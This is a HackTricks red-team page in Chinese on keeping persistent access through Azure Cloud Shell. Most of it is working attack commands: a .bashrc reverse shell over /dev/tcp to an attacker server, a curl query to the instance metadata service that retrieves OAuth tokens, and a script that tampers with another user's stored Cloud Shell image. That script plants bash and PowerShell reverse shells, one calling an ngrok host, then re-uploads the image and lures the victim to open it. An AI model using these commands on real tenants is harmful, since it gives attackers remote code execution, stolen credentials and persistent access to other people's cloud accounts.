Az - Cloud Shell Persistence

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Cloud Shell Persistence

Azure Cloud Shell 提供命令行访问以管理 Azure 资源,具有持久存储和自动身份验证。攻击者可以通过在持久主目录中放置后门来利用这一点:

  • Persistent Storage: Azure Cloud Shell 的主目录挂载在 Azure 文件共享上,即使会话结束后也保持不变。
  • Startup Scripts: 像 .bashrcconfig/PowerShell/Microsoft.PowerShell_profile.ps1 的文件在每个会话开始时自动执行,从而在云 shell 启动时允许持久执行。

Example backdoor in .bashrc:

echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc

这个后门可以在用户完成云 shell 后的 5 分钟内执行命令。

此外,查询 Azure 的元数据服务以获取实例详细信息和令牌:

curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s

Cloud Shell 钓鱼

如果攻击者在他有读写权限的存储帐户中找到其他用户的镜像,他将能够下载该镜像,在其中添加一个 bash 和 PS 后门,并将其上传回存储帐户,以便下次用户访问 shell 时,命令将被自动执行

  • 下载、后门和上传镜像:
# Download image
mkdir /tmp/phishing_img
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name> -s <file-share>

# Mount the image
mkdir /tmp/backdoor_img
sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img
cd /tmp/backdoor_img

# Create backdoor
mkdir .config
mkdir .config/PowerShell
touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Bash backdoor
echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc

# PS backdoor
echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1

# Unmount
cd /tmp
sudo umount /tmp/backdoor_img

# Upload image
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s <file-share>
  • 然后,钓鱼用户以访问 https://shell.azure.com/

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks